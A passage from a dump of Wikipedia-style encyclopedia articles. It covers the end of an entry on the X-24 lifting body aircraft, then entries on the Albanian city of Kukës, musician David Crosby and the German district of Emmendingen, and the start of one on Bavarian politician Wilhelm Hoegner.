Jerauld R. Gentry – 13 flights
John A. Manke – 12 flights
Cecil W. Powell – 3 flights
X-24B
The X-24B demonstrated that accurate unpowered reentry vehicle landings were operationally feasible. Top speed achieved by the X-24B was 1,164 mph (1873 km/h) and the highest altitude it reached was 74,130 feet (22.59 km). The pilot on the last powered flight of the X-24B was Bill Dana, who also flew the last X-15 flight about seven years earlier.
Among the final flights with the X-24B were two precise landings on the main concrete runway at Edwards. These missions were flown by Manke and Air Force Maj. Mike Love, and represented the final milestone in a program that helped write the flight plan for the Space Shuttle program.
The X-24B was the last aircraft to fly in Dryden's Lifting Body program. The X-24B was flown 36 times.
The X-24B is on public display at the National Museum of the United States Air Force, Wright-Patterson AFB, Ohio.
X-24B pilots
John A. Manke – 16 flights
Michael V. Love – 12 flights
William H. Dana – 2 flights
Einar K. Enevoldson – 2 flights
Thomas C. McMurtry – 2 flights
Francis Scobee – 2 flights
Les A. Johnson – 1 flight
Serial number
66-13551
X-24A, 28 free flights; 10 unpowered, 18 powered
X-24B, 36 free flights; 12 unpowered, 24 powered
Specifications (X-24B)
See also
References
Notes
Bibliography
Miller, Jay. The X-Planes: X-1 to X-45. Hinckley, UK: Midland, 2001.
Reed, R. Dale with Darlene Lister. Wingless Flight: The Lifting Body Story. Lexington, KY: University Press of Kentucky, 2002. .
Rose, Bill, 2008. Secret Projects: Military Space Technology. Hinckley, England: Midland Publishing.
Winchester, Jim. "Martin-Marietta X-24." ''X-Planes and Prototypes.' London: Amber Books Ltd., 2005. .
External links
NASA Dryden X-24 Photo Collection
X-24A and X-24B at Encyclopedia Astronautica
Edwards Air Force Base
Lifting bodies
X-24, Martin-Marietta
Martin-Marietta X-24
Rocket-powered aircraft
Aircraft first flown in 1969 | [
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241164 | https://en.wikipedia.org/wiki/Kuk%C3%ABs | Kukës | Kukës () is a city in the Republic of Albania. The city is the capital of the surrounding municipality of Kukës and county of Kukës, one of 12 constituent counties of the republic. It spans and had a total population of 16,719 people as of 2011. By air distance, Kukës is located northeast of Tirana, to the east of Shkodër and to the south of Gjakovë and to the west of Prizren in Kosovo.
Geologically, the terrain of the surrounding area is dominated by mountainous and high terrain. The city sprawls across the Luma Plain within the Albanian Alps between the banks of Lake Fierza and the hills of the northernmost Korab Mountains and westernmost Shar Mountains. At the confluence of the Black and White Drin, the Drin River originates close to the city's territory.
Kukës traces its history back over a thousand years. The region that nowadays corresponds to the city territory was inhabited by several ancient Illyrian tribes, as most of Albania. Numerous tombs from the Illyrians has been identified at Këneta and Kolsh nearby the city. The residential estate served as a stopping point on a branch road leading to the Via Egnatia, which connected Durrës on the Adriatic Sea in the west with Constantinople on the Marmara Sea in the east. In modern times and due to the close proximity to Kosovo, the city achieved worldwide recognition during the Kosovo War as thousands of Kosovo-Albanian refugees crossed the border and found security in the city.
The city was nominated for the Nobel Peace Prize in regard to hospitality and for embracing thousands of refugees during the Kosovo War. It was the first time a town was nominated for the prize. In 2017, the city applied for the 2018 European Green Capital Award to become Europe's Green Capital.
History
The old Kukës was located at the confluence of the White Drin and Black Drin. In 1976 the town was submerged beneath the Fierza Reservoir, which is held back by a dam.
The new town (Kukësi i Ri - "New Kukës") was built in the 1970s in the plateau nearby which is 320m over the sea level. Kukësi i Ri is surrounded by the artificial lake of Fierza and it looks like a peninsula from the above.
It is linked with the other parts of the country by three bridges. On the east it faces the snow-covered mountain of Gjallica, 2468 m above sea level.
Illyrian tombs were found at Këneta and Kolsh nearby Kukës. It was a small Roman settlement, a stopping point on a branch road leading to the Via Egnatia, and a minor Ottoman market centre and trading post on the road to southern Kosovo. It was there (Qafa e Kolosjanit) where Albanian resistance stood up against retreating Serbian army in 1912.
Kukës attracted international attention during the Kosovo conflict when 450,000 Kosovo Albanian refugees crossed the frontier and were housed in camps in and around Kukës.
This led, in 2000, to a nomination for the Nobel Peace Prize. It was the first time a town was nominated for the prize.
There is a mosque and a closed alpine-style hotel, part of an attempt to establish a tourist industry there. OSCE maintained a villa there.
Environment
Kukës is situated in the northeast of the country. It lies mostly between latitudes 42° and 5° N, and longitudes 20° and 25° E. The city extend strategically within the Albanian Alps and is trapped on four sides by numerous two-thousanders including Gjallica in the south, Koritnik in the east, Pashtrik in the northeast and several mountains in the west. It lies on the Luma Plain and the southern shores of Lake Fierza. It lies approximately in the southeast of the former location of the city, which was relocated as part of a hydroelectric scheme.
Climate
Like all East Albanians who are in the plain the zone is humid subtropical (Köppen: Cfa), similar to the north of Italy, due to its interior location but near the Mediterranean. Despite its southern location, its distance to the east compensates for this difference. The climate of the city is profoundly impacted by the Albanian Alps in the northeast, Shar Mountains in the east, Korab Mountains in the southeast and the Drin River in the south. The city experiences mostly continental climate. This means that the winters are very cold and snowy and the summers are predominantly hot. The city's temperature varies a large deal across the seasons with a mild spring in April and May, hot summer months from June to August, frequently rainy and windy autumn months in September and October and very cold winter months, often with snow and frost, from December to March. The mean monthly temperature ranges between in winter and in summer. The mean annual precipitation ranges between and depending on longitude and latitude.
Politics
The Kukës municipality was formed in 2015 by the merger of the former municipalities Arrën, Bicaj, Bushtricë, Grykë-Çajë, Kalis, Kolsh, Kukës, Malzi, Shishtavec, Shtiqën, Surroj, Tërthore, Topojan, Ujmisht and Zapod, that became municipal units. The municipality spans and had a total population of 47,985 people as of 2011.
Economy
There is also a local historical museum and a carpet factory.
The food industry is confined only to production of alcoholic drinks produced in a drink factory, and to some local small workshops producing drinks and dairy products.
The Highlanders in the region are well known for their developed agriculture. Kukës has a carpet factory whose products is for domestic and trade use. There is also a copper processing factory as the raw material, copper, is found in this place.
Kukës is a good centre for fishing and walking in the surrounding mountains.
Kukës has an Kukes International Airport of its own. It is located approximately about 3.5 km (2.2 mi) south of Kukës city centre. The government of Albania granted permission for it to host international passenger traffic in 2016. Low-cost companies like the Irish Ryan Air and the Hungarian Wizz Air, as well the Slovenian Adria Airways have expressed their interest in operating from the Kukës International Airport.
The A1 highway passes through Kukës.
Notable people
Safet Gjici - Albanian businessman
Dritan Hoxha - Albanian businessman
Sister cities
Shëngjin, Albania
Prizren, Kosovo
Lyndhurst, United States
See also
List of mayors of Kukës
Notes
References
Municipalities in Kukës County
Administrative units of Kukës
Towns in Albania
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241167 | https://en.wikipedia.org/wiki/David%20Crosby | David Crosby | David Van Cortlandt Crosby (born August 14, 1941) is an American singer-songwriter and musician. In addition to his solo career, he was a founding member of both the Byrds and Crosby, Stills & Nash.
Crosby joined the Byrds in 1964. Bob Dylan gave the band their first number one hit in April 1965 with "Mr. Tambourine Man". Crosby appeared on the Byrds' first five albums and produced the original lineup's 1973 reunion album. In 1967 he joined Buffalo Springfield on stage at the Monterey Pop Festival, which contributed to his dismissal from the Byrds. He subsequently formed Crosby, Stills & Nash in 1968 with Stephen Stills (of Buffalo Springfield) and Graham Nash of the Hollies. After the release of their debut album CSN won the Grammy Award for Best New Artist of 1969. Neil Young joined the group for live appearances, their second concert being Woodstock, before recording their second album Déjà Vu. Meant to be a group that could collaborate freely, Crosby and Nash recorded three gold albums in the 1970s, while the core trio of CSN remained active from 1976 until 2016. CSNY reunions took place in each decade from the 1970s through the 2000s.
Songs Crosby wrote or co-wrote include "Lady Friend", "Why", and "Eight Miles High" with the Byrds and "Guinnevere", "Wooden Ships", "Shadow Captain", and "In My Dreams" with Crosby, Stills & Nash. He wrote "Almost Cut My Hair" and the title track "Déjà Vu" for Crosby, Stills, Nash & Young's 1970 album. He is known for his use of alternative guitar tunings and jazz influences. He has released six solo albums, five of which have charted. Additionally he formed a jazz-influenced trio with his son James Raymond and guitarist Jeff Pevar in CPR. Crosby's work with the Byrds and CSNY has sold over 35 million albums.
Crosby has been inducted into the Rock and Roll Hall of Fame twice: once for his work in the Byrds and again for his work with CSN. Five albums to which he contributed are included in Rolling Stones The 500 Greatest Albums of All Time, three with the Byrds and two with CSN(Y). He is outspoken politically and has been depicted as emblematic of the 1960s' counterculture.
Crosby is the subject of the 2019 documentary David Crosby: Remember My Name, which was produced by Cameron Crowe.
Early years
David Van Cortlandt Crosby was born in Los Angeles, California, second son of Academy Award-winning cinematographer Floyd Crosby, who formerly worked on Wall Street, and Aliph Van Cortlandt Whitehead, a salesperson at Macy's department store. His father was a relative of the Van Rensselaer family, and his mother—granddaughter of Bishop of Pittsburgh Cortlandt Whitehead—descended from the prominent Van Cortlandt family; they "regularly inhabited the New York society pages before their wedding".
Crosby is the younger brother of musician Ethan Crosby. Growing up in California, he attended several schools, including the University Elementary School in Los Angeles, the Crane Country Day School in Montecito, and Laguna Blanca School in Santa Barbara for the rest of his elementary school and junior high. At Crane, he starred in HMS Pinafore and other musicals but was asked not to return because of his lack of academic progress. Crosby did not graduate from the Cate School in Carpinteria. In 1960, his parents divorced, and his father married Betty Cormack Andrews.
Crosby briefly studied drama at Santa Barbara City College before dropping out to pursue a career in music. He performed with singer Terry Callier in Chicago and Greenwich Village, but the duo failed to obtain a recording contract. He also performed with Les Baxter's Balladeers around 1962. With the help of producer Jim Dickson, Crosby recorded his first solo session in 1963.
Musical career
The Byrds
Crosby arrived back in Chicago from New York City to hang out with Terry Callier. On tour and in Chicago at that time was Miriam Makeba and her band, who knew multi-instrumentalist Jim McGuinn. Callier introduced McGuinn to Crosby. Crosby joined Jim McGuinn (who later changed his name to Roger) and Gene Clark, who were then named the Jet Set. They were augmented by drummer Michael Clarke, at which point Crosby attempted, unsuccessfully, to play bass. Late in 1964, Chris Hillman joined as bassist, and Crosby relieved Gene Clark of rhythm guitar duties. Through connections that Jim Dickson (the Byrds' manager) had with Bob Dylan's publisher, the band obtained a demo acetate disc of Dylan's "Mr. Tambourine Man" and recorded a version of the song, featuring McGuinn's 12-string guitar as well as McGuinn, Crosby, and Clark's vocal harmonizing. The song turned into a massive hit, reaching number one in the charts in the United States and the United Kingdom during 1965. While McGuinn originated the Byrds' trademark 12-string guitar sound, Crosby was responsible for the soaring harmonies and often unusual phrasing of their songs, but whilst he did not sing lead vocals on either of the first two albums, he sang lead on the bridge in their second single "All I Really Want to Do".
In 1966, Gene Clark, who then was the band's primary songwriter, left the group because of stress and this placed all the group's songwriting responsibilities in the hands of McGuinn, Crosby, and Hillman. Crosby took the opportunity to hone his craft and soon became a relatively prolific songwriter, collaborating with McGuinn on the uptempo "I See You" (covered by Yes on their 1969 debut) and penning the ruminative "What's Happening". His early Byrds efforts also included the 1966 hit "Eight Miles High" (to which he contributed one line, while Clark and McGuinn wrote the rest), and its flip side "Why", co-written with McGuinn.
Because Crosby felt responsible for and was widely credited with popularizing the song "Hey Joe", he persuaded the other members of the Byrds to record it on Fifth Dimension. By Younger Than Yesterday, the Byrds' 1967 album, Crosby began to find his trademark style on songs such as "Renaissance Fair" (co-written with McGuinn), "Mind Gardens" and "It Happens Each Day"; however, the latter song was omitted from the final album and ultimately restored as a bonus track on the 1996 remastered edition. The album also contained a rerecording of "Why" and "Everybody's Been Burned", a jazzy torch song from Crosby's pre-Byrds repertoire that was initially demoed in 1963.
Friction between Crosby and the other Byrds came to a head in mid 1967. Tensions were high after the Monterey Pop Festival in June, when Crosby's onstage political diatribes (including a frank discussion of the John F. Kennedy assassination conspiracy theories) between songs elicited rancor from McGuinn and Hillman. He further annoyed his bandmates when, at the invitation of Stephen Stills, he substituted for an absent Neil Young during Buffalo Springfield's set the following night. The internal conflict boiled over during the initial recording sessions for The Notorious Byrd Brothers (1968) that summer, where differences over song selections led to intra-band arguments. In particular, Crosby was adamant that the band should record only original material despite the recent commercial failure of "Lady Friend", a Crosby-penned single that stalled at No. 82 on the American charts following its release in July. McGuinn and Hillman dismissed Crosby in October after he refused to countenance the recording of a cover of Goffin and King's "Goin' Back". While Crosby contributed to three compositions and five recordings on the final album, his controversial menage-a-trois ode "Triad" was omitted; Jefferson Airplane released a Grace Slick-sung cover on Crown of Creation (1968); three years later, Crosby released a solo acoustic version on Crosby, Stills, Nash and Young's double live album 4 Way Street (1971); the Byrds' version appeared decades later on the 1988 Never Before release and later on the CD re-release of The Notorious Byrd Brothers.
In 1973, Crosby reunited with the original Byrds for the album Byrds, with Crosby acting as the album's producer. The album charted well (at number 20, their best album showing since their second album) but was generally not perceived to be a critical success. It marked the final artistic collaboration of the original band.
Crosby, Stills, Nash & Young
Around the time of Crosby's departure from the Byrds, he met a recently unemployed Stephen Stills at a party at the home of Cass Elliot (of the Mamas and the Papas) in California in March 1968, and the two started meeting informally and jamming together. They were soon joined by Graham Nash, who would leave his commercially successful group the Hollies to play with Crosby and Stills. Their appearance at the Woodstock Music and Art Fair in August 1969 constituted only their second live performance.
Their first album, Crosby, Stills & Nash (1969), was an immediate hit, spawning two Top 40 hit singles and receiving key airplay on the new FM radio format, in its early days populated by unfettered disc jockeys who then had the option of playing entire albums at once.
The songs Crosby wrote while in CSN include "Guinnevere", "Almost Cut My Hair", "Long Time Gone", and "Delta". He also co-wrote "Wooden Ships" with Paul Kantner of Jefferson Airplane and Stephen Stills.
In 1969 Neil Young joined the group, and with him they recorded the album Déjà Vu, which peaked at number 1 on the Billboard 200 and the ARIA Charts. On September 30, 1969, Crosby's longtime girlfriend Christine Hinton was killed in a car accident only days after Hinton, Crosby, and Debbie Donovan moved from Los Angeles to the Bay Area. Crosby was devastated, and he began abusing drugs more severely than he had before. Nevertheless, he still managed to contribute "Almost Cut My Hair" and the title track, "Déjà Vu". After the release of the double live album 4 Way Street, the group went on a temporary hiatus to focus on their respective solo careers.
In December 1969, Crosby appeared with CSNY at the Altamont Free Concert, increasing his visibility after also having performed at Monterey Pop and Woodstock. At the beginning of 1970, he briefly joined with Jerry Garcia, Phil Lesh and Mickey Hart from Grateful Dead, billed as "David and the Dorks", and making a live recording at the Matrix on December 15, 1970.
CSNY reunited in the summer of 1973 for unsuccessful recording sessions in Maui and Los Angeles. Despite lingering acrimony, they reconvened at a Stills concert at the Winterland Ballroom in San Francisco in October. This served as a prelude to their highly successful stadium tour in the summer of 1974. Following the tour, the foursome attempted once again to record a new album, provisionally entitled Human Highway. The recording sessions, which took place at The Record Plant in Sausalito, were very unpleasant, marked by constant bickering. The bickering eventually became too much, and the album was canceled.
In rehearsals for the 1974 tour, CSNY recorded a then-unreleased Crosby song, "Little Blind Fish". A different version of the song would appear on the second CPR album more than two decades later. The 1974 tour was also affected by bickering, though they managed to finish it without interruption. A greatest hits compilation entitled So Far was released during 1974 to capitalize on the foursome's reunion tour.
In 1976, as separate duos, Crosby & Nash and Stills & Young were both working on respective albums and contemplated retooling their work to produce a CSNY album. This attempt ended bitterly as Stills and Young deleted Crosby and Nash's vocals from their album Long May You Run.
CSNY did not perform together again as a foursome until Live Aid in Philadelphia in 1985, and then performed only sporadically in the 1980s and 1990s (mainly at the annual Bridge School Benefit organized by Young's wife Pegi). Without Young, however, Crosby, Stills & Nash has performed much more consistently since its reformation in 1977. The trio toured in support of their 1977 and 1982 albums CSN and Daylight Again and then, starting in the late 1980s, has toured regularly year after year. The group continued to perform live, and since 1982 released four albums of new material: American Dream (1988, with Young), Live It Up (1990), After The Storm (1994), and Looking Forward (1999, with Young). In addition, Crosby & Nash released the self-titled album Crosby & Nash in 2004.
Full-scale CSNY tours took place in 2000, 2002, and 2006.
Crosby, Stills, and Nash appeared together on a 2008 episode of The Colbert Report, and "Neil Young" joined them during the musical performance at the end of the episode. However, eventually, it became clear that it was only Stephen Colbert impersonating Young as the group sang "Teach Your Children".
Following a November 2015 interview in which he stated he still hoped the band had a future, Nash announced on March 6, 2016, that Crosby, Stills & Nash would never perform again because of his poor relations with Crosby.
1971–present: Solo career and Crosby & Nash
In 1971, Crosby released his first solo album, If I Could Only Remember My Name, featuring contributions by Nash, Young, Joni Mitchell, and members of Jefferson Airplane, the Grateful Dead, and Santana. Panned on release by Rolling Stone, it has been reappraised amid the emergence of the freak folk and New Weird America movements and remains in print. In a 2010 list of the Best Albums published by the Vatican City newspaper, L'Osservatore Romano, If I Could Only Remember My Name came in second to the Beatles', Revolver.
As a duo, Crosby & Nash (C&N) have released four studio albums and two live albums, including Another Stoney Evening, which features the duo in a 1971 acoustic performance with no supporting band. Crosby songs recorded by C&N in the 1970s include "Whole Cloth", "Where Will I Be?", "Page 43", "Games", "The Wall Song", "Carry Me", "Bittersweet", "Naked in the Rain" (co-written with Nash), "Low Down Payment", "Homeward Through the Haze", "Time After Time", "Dancer", "Taken at All" (also co-written with Nash) and "Foolish Man". During the mid-1970s, Crosby and Nash enjoyed lucrative careers as session musicians, with both performers (as a duo and individually) contributing harmonies and background vocals to albums by Joni Mitchell, Jackson Browne (whom Crosby had initially championed as an emerging songwriter), Dave Mason, Rick Roberts, James Taylor (most notably "Lighthouse" and "Mexico"), Art Garfunkel, J.D. Souther, Carole King, Elton John, and Gary Wright.
Renewing his ties to the San Francisco milieu that had abetted so well on his solo album, Crosby sang backup vocals on several Paul Kantner and Grace Slick albums from 1971 through 1974 and the Hot Tuna album Burgers in 1972. He also participated in composer Ned Lagin's proto-ambient project Seastones along with members of the Grateful Dead and Jefferson Starship.
Crosby worked with Phil Collins occasionally from the late 1980s to the early 1990s. He sang backup to Collins in "That's Just the Way It Is" and "Another Day in Paradise", and, on his own 1993 song, "Hero", from his album Thousand Roads, Collins sang backup. In 1992, Crosby sang backup on the album Rites of Passage with the Indigo Girls on tracks 2 and 12. In 1999, he appeared on Return of the Grievous Angel: A Tribute to Gram Parsons, singing a duet of the title track with Lucinda Williams.
In 2006, Crosby and Nash worked with David Gilmour as backing vocalists on the latter's third solo album, On an Island. The album was released in March 2006 and reached number 1 on the UK charts. They also performed live with Gilmour in his concert at the Royal Albert Hall in London in May 2006 and toured together in the United States, as can be seen on Gilmour's 2007 DVD Remember That Night. They also sang backup on the title track of John Mayer's 2012 album Born And Raised.
In January 2014, Crosby released his first solo album in 20 years, Croz, recorded in close collaboration with his son James Raymond (of CPR) at the latter's home studio.
On July 14, 2016, Crosby announced a new solo album named Lighthouse,which was released on October 21, 2016, and shared a new track from it titled "Things We Do For Love". The album was produced by Michael League of the big band Snarky Puppy, who he met on Twitter, and also featured contributions by future collaborators Becca Stevens and Michelle Willis. On August 26, 2016, Crosby announced a U.S. tour, an 18-date trek to launch on November 18, 2016, in Atlanta, Georgia and to conclude on December 16, 2016, in Ithaca, New York. He also spoke out against Donald Trump during his campaign.
In September 2017, Crosby announced a solo album (his third one of original material in four years and his sixth in total) entitled Sky Trails, again with Raymond, to be released on September 29, 2017, on BMG.
In April 2018, Crosby appeared on NPR's Live from Here, playing duets with host Chris Thile.
On October 26, 2018, Crosby released Here If You Listen on BMG, his first collaborative album with Michael League, Becca Stevens, and Michelle Willis, all members of the Lighthouse Band. The band also toured for from November to December that same year.
Crosby was the subject of the documentary film David Crosby: Remember My Name which premiered at the 2019 Sundance Film Festival. Crosby mentioned that Cameron Crowe, who asked the interview questions for the film, knew "where the bones are buried." Following the premiere of the film, Crosby toured as David Crosby & Friends toured from May to September 2019.
In July of 2021 Crosby released For Free, his first solo album since Sky Trails. This was followed by the release of the 50th anniversary expanded version of If I Could Only Remember My Name on October 15. It contains remastered songs as well as demos from the original recording sessions. During promotion for the rerelease Crosby confirmed that his second collaborative album with League, Stevens, & Willis is in the works.
1996–2004: CPR
In 1996, Crosby formed CPR or Crosby, Pevar & Raymond with session guitarist Jeff Pevar, and pianist James Raymond, Crosby's son. The group released two studio albums and two live albums before disbanding in 2004.
The first song that Crosby and Raymond co-wrote, "Morrison", was performed live for the first time in January 1997. The song recalled Crosby's feelings about the portrayal of Jim Morrison in the movie The Doors. The success of the 1997 tour spawned a record project, Live at Cuesta College, released in March 1998. There is a second CPR studio record, Just Like Gravity, and another live recording, Live at the Wiltern, recorded at the Wiltern Theatre in Los Angeles, which also features Phil Collins and Graham Nash.
After the group split, Raymond has continued to perform with Crosby as part of the touring bands for C&N and CSN, as well as on solo Crosby projects, including 2014's Croz and the subsequent tour, for which he served as musical director. Jeff Pevar has toured with many artists over his productive career, including CSN, Ray Charles, Joe Cocker, Marc Cohn, Phil Lesh & Friends, Jazz Is Dead, Rickie Lee Jones, Jefferson Starship and Bette Midler. Pevar has a solo record, From the Core, which was improvised and recorded in the Oregon Caves and features the vocalist from Yes, Jon Anderson.
Crosby reunited with the other two members of CPR in 2018 as David Crosby & Friends, performing a series of shows in support of Crosby's new album Skytrails. During the global pandemic, Crosby also hosted a podcast for the Osiris music network.
Personal life
Family
Crosby had a son with Celia Crawford Ferguson, James Raymond, in 1962, who was placed for adoption and reunited with Crosby as an adult. Since 1997, Raymond has performed with Crosby on stage and in the studio, as a member of CPR and as part of the touring bands for Crosby & Nash and Crosby, Stills & Nash. In addition, Crosby has three other children: a daughter, Erika, with Jackie Guthrie, a daughter, Donovan Crosby, with former girlfriend Debbie Donovan, and a son, Django Crosby, who was conceived with wife Jan Dance after extensive fertility treatments while Crosby's liver was failing.
Crosby, then 45, married Jan Dance, then 35, in May 1987 at the Hollywood Church of Religious Science in Los Angeles. His bandmate Stephen Stills gave away the bride.
Crosby's brother Ethan, who taught him to play guitar and started his musical career with him, committed suicide in late 1997 or early 1998; the date is unknown because Ethan left a note not to search for his body but to let him return to the earth. His body was found months later in May 1998.
In January 2000, Melissa Etheridge announced that Crosby was the sperm donor of two children with her then partner Julie Cypher by means of artificial insemination. On May 13, 2020, Etheridge announced on her Twitter that her and Cypher's son Beckett had died of causes related to opioid addiction at the age of 21.
David Crosby Cannabis brand
Crosby, in partnership with longtime friend and entrepreneur Steven Sponder, developed a craft cannabis brand called "MIGHTY CROZ". Crosby, a 50+ year cannabis advocate and connoisseur credits cannabis with contributing to his creative process of songwriting stating "All those hit songs, every one of them, I wrote them all on cannabis." Crosby also credits cannabis and Cannabidiol (CBD) with alleviating his chronic shoulder pain allowing him to continue touring and making new music well into his seventies. Crosby and Sponder intend to work with licensed cultivators throughout the U.S. and beyond and will also extend the brand to include CBD and hemp products. In 2018, Crosby was invited to join the NORML National Advisory Board.
Sailing
Following up on a transformative sailing experience when he was 11, Crosby purchased a 59-foot, John Alden–designed schooner named Mayan with his Byrds settlement. On Twitter in 2019, Crosby said that the late Peter Tork of the Monkees loaned him the money to buy the Mayan. In the decades before he sold the boat in 2014, Crosby sailed it thousands of miles in the Pacific and Caribbean. He has credited the Mayan as being a songwriting muse; he wrote some of his best-known songs aboard the boat, including "Wooden Ships," "The Lee Shore," "Page 43," and "Carry Me."
Politics
Crosby has been politically active throughout his professional career. He publicly questioned the report of the Warren Commission covering the Assassination of John F. Kennedy onstage during the Byrds' appearance at the Monterey Festival in 1967. He identifies as a pacifist and was a well-known opponent over the US involvement in the Vietnam War, though he has also defended the right to own guns.
Crosby has strongly criticized the presidency of Donald Trump, declaring him to be "a dangerous guy who's got a big ego". For the 2020 presidential election, he said in an interview that Mayor Pete Buttigieg was his favorite candidate for president and that he is smarter than all the others combined; however, he eventually voted for Bernie Sanders.
Although Crosby was against Joe Biden's candidacy during the 2020 presidential primaries, he voiced a more positive assessment following Biden's general election victory in November. Describing him as a "decent guy," Crosby noted that the personal tragedies Biden experienced with the tragic deaths of his first wife and daughter in 1972 and his oldest son, Beau, in 2015, made him a better human being. "He has humanity and he has compassion for other human beings because he's seen a lot of rough stuff himself. I don't generally trust most politicians but I trust [Biden] to be who he is and I think he's going to do a good job."
Acting career
During the early 1990s, Crosby appeared as a guest star in several episodes of The John Larroquette Show, where he played the part of Larroquette's AA sponsor. He appeared on an episode of Roseanne as the singer–husband of one of Roseanne's co-workers, who was played by Bonnie Bramlett. He sang the Danny Sheridan composition "Roll On Down" on that episode. He was on an episode of Ellen called "Ellen Unplugged", in which he was helping out at the Rock and Roll Fantasy Camp. He also appeared as a pirate in the 1991 film Hook, as a 1970s hippie in the 1991 film Backdraft, and as a bartender in the 1992 feature film Thunderheart.
Crosby has also voiced himself on two episodes of The Simpsons, "Marge in Chains" and "Homer's Barbershop Quartet".
Drug, alcohol, and legal issues
In 1985, after being convicted of several drugs and weapons offenses, Crosby spent nine months in a Texas state prison. The drug charges were related to possession of heroin and cocaine.
Also in 1985, Crosby was arrested for drunken driving, a hit-and-run driving accident, and possession of a concealed pistol and drug paraphernalia. Crosby was arrested after driving into a fence in a Marin County suburb, where officers found a .45-caliber pistol and cocaine in his car.
On March 7, 2004, Crosby was charged with criminal possession of a weapon in the third degree, illegal possession of a hunting knife, illegal possession of ammunition, and illegal possession of about one ounce of marijuana. Crosby left said items behind in his New York City hotel room. Authorities said a "hotel employee searched the suitcase for identification and found about an ounce of marijuana, rolling papers, two knives and a .45-caliber pistol. Mr. Crosby was arrested when he returned to the hotel to pick up his bag." After spending 12 hours in jail, he was released on $3,500 bail. On July 4, 2004, he pleaded guilty in New York State Supreme Court to attempted criminal possession of a weapon and was fined $5,000 and given no jail time. Prosecutors did not seek a more severe penalty on the weapons charge because the pistol was registered in California and was stowed safely in his luggage when it was found. A charge of unlawful possession of marijuana was dismissed. Crosby was discharged by the court on condition that he pay his fine and not get arrested again.
Health
Crosby was the recipient of a highly publicized liver transplant in 1994, which was paid for by Phil Collins. News of his transplant created some controversy because of his celebrity status and his past problems with drug and alcohol addiction. Crosby's liver problems stemmed from a long run with hepatitis C.
Crosby suffers from type 2 diabetes and is being treated with insulin to manage the disease. At a concert in October 2008, Crosby, looking much thinner than in recent years, announced to the audience that he had recently shed 55 pounds as a result of his struggles with the disease.
In February 2014, at the urging of his doctor, Crosby postponed the final dates of his solo tour in order to undergo a cardiac catheterization and angiogram, based on the results of a routine cardiac stress test.
Discography
See also discographies for Crosby Stills Nash & Young, the Byrds, Crosby & Nash, and CPR.
Studio albums
Other solo albums
Singles
Other appearances
Publications
References
External links
Crosby-Nash
CSN official site
CSNY official site
20th-century American guitarists
20th-century American singers
21st-century American singers
1941 births
American folk guitarists
American folk musicians
American folk rock musicians
American folk singers
American male guitarists
American male singer-songwriters
American rock guitarists
American rock singers
American rock songwriters
Crosby, Stills, Nash & Young members
GroundUPmusic artists
Guitarists from Los Angeles
Les Baxter's Balladeers members
Liver transplant recipients
Living people
People from Carpinteria, California
Rhythm guitarists
David Crosby
Singers from Los Angeles
The Byrds members
David Crosby
David Crosby
Delafield family
Singer-songwriters from California | [
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241168 | https://en.wikipedia.org/wiki/Emmendingen%20%28district%29 | Emmendingen (district) | Emmendingen (German: Landkreis Emmendingen) is a Landkreis (district) in the west of Baden-Württemberg, Germany. Neighbouring districts are (from north clockwise) Ortenaukreis, Schwarzwald-Baar, Breisgau-Hochschwarzwald and the district-free city Freiburg. To the west it borders the French département Bas-Rhin.
History
The district dates back to the Bezirksamt Emmendingen, which was created in 1803 when the area became part of Baden. After several additions it was converted into the district Emmendingen in 1936, when it was merged with the Amt Waldkirch. In the communal reform of 1973 the district wasn't changed - at first it was planned to merge it with the district Lahr, but that was merged into the Ortenaukreis instead.
Geography
The western part of the district is located in the upper Rhine valley, including the small volcanic mountain Kaiserstuhl. This extinct volcano is one of the climatic best regions of Germany, with wine grapes growing on its sunny slopes. The eastern part of the district belongs to the Black Forest.
Coat of arms
The left side of the coat of arms show the symbol of Baden. The six-topped mountain in the top right is the symbol of the Lords of Schwarzenberg, who ruled over the land around Elzach and Waldkirch; the wing in the bottom right is the symbol of the Lords of Üsenberg, who owned the land around Endingen, Herbolzheim and Kenzingen.
Cities and towns
References
External links
Official website (German)
Information about and images
Freiburg (region)
Districts of Baden-Württemberg | [
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241169 | https://en.wikipedia.org/wiki/Wilhelm%20Hoegner | Wilhelm Hoegner | Wilhelm Hoegner (23 September 1887 in Munich – 5 March 1980 in Munich) was the second Bavarian prime minister (SPD) after World War II (1945–46 and 1954–57) and father of the Bavarian constitution. He has been the only Social Democrat to hold this office since 1920.
Early life
Wilhelm Hoegner was born in Munich in 1887, the son of Michael Georg Hoegner and Therese Engelhardt. Growing up in Burghausen, he studied law in Munich, Berlin and Erlangen. After graduation, he worked as a lawyer, then as a Staatsanwalt, a state prosecutor. In 1919 he became a member of the SPD. He married Anna Woock in 1918, with whom he had two children.
Interwar politics and exile
From 1924 to 1930, Hoegner was a Social Democratic member of the Landtag of Bavaria. He was involved in the investigation into Hitler's Beer Hall Putsch in 1923 and through this became part of the opposition to the Nazis. He published, anonymously, a paper on the findings of the investigation, which is considered an important historical document due to the fact that the Nazis destroyed all official reports from the inquest after 1933. He actively opposed Hitler in his time as a member of the German Reichstag from 1930 to 1933. For this reason, he was dismissed from government service after the Nazi takeover in 1933 and had to escape to Austria, and from there, in 1934, to Switzerland, where he worked as a freelance writer. He was in contact there with other German refugees from the Nazis and worked with them in an organisation called Demokratisches Deutschland, aimed against the Nazis.
Postwar politics
Upon his return to Bavaria in June 1945, he served at the court in Munich. He became prime minister of Bavaria from 1945 to 1946, after the sudden dismissal of Fritz Schäffer, also holding the post of Minister of Justice until 1947. He became known at this time as the father of the new Bavarian constitution. After losing the December 1946 election, he was replaced as Bavarian prime minister by Hans Ehard but remained as Minister of Justice. When his party decided to leave the coalition with the Christian Social Union (CSU), he opposed this move and temporarily lost influence within the SPD, resigning from his ministerial post.
From 1946 to 1970, he was again a member of the Bavarian Landtag (parliament), leading the SPD faction there from 1958 to 1962. He held the post of Minister of the Interior from 1950 to 1954, when Bavaria was ruled by a CSU-SPD coalition. During this time, he devoted a great deal of effort towards the reunification of the Palatinate with the rest of Bavaria, but ultimately failed, as only 7.6 percent of all eligible voters in the Palatinate voted for reunification.
He became prime minister of Bavaria for a second time in 1954, when he led a four-party grand coalition government until 1957. The coalition fell apart before the end of its term after the 1957 federal elections and, as of 2018, Wilhelm Hoegner is still the last non-CSU prime minister of Bavaria.
He was also a member of the German Bundestag from 1961 to 1962.
While a social democrat, Hoegner was not a doctrinaire socialist, and he always preferred a common-sense approach to politics and the economy, rather than radical theories. He considered being a social democrat to be wholly compatible with Christian ethics and values—an important factor in the traditionally conservative and Catholic-dominated state of Bavaria.
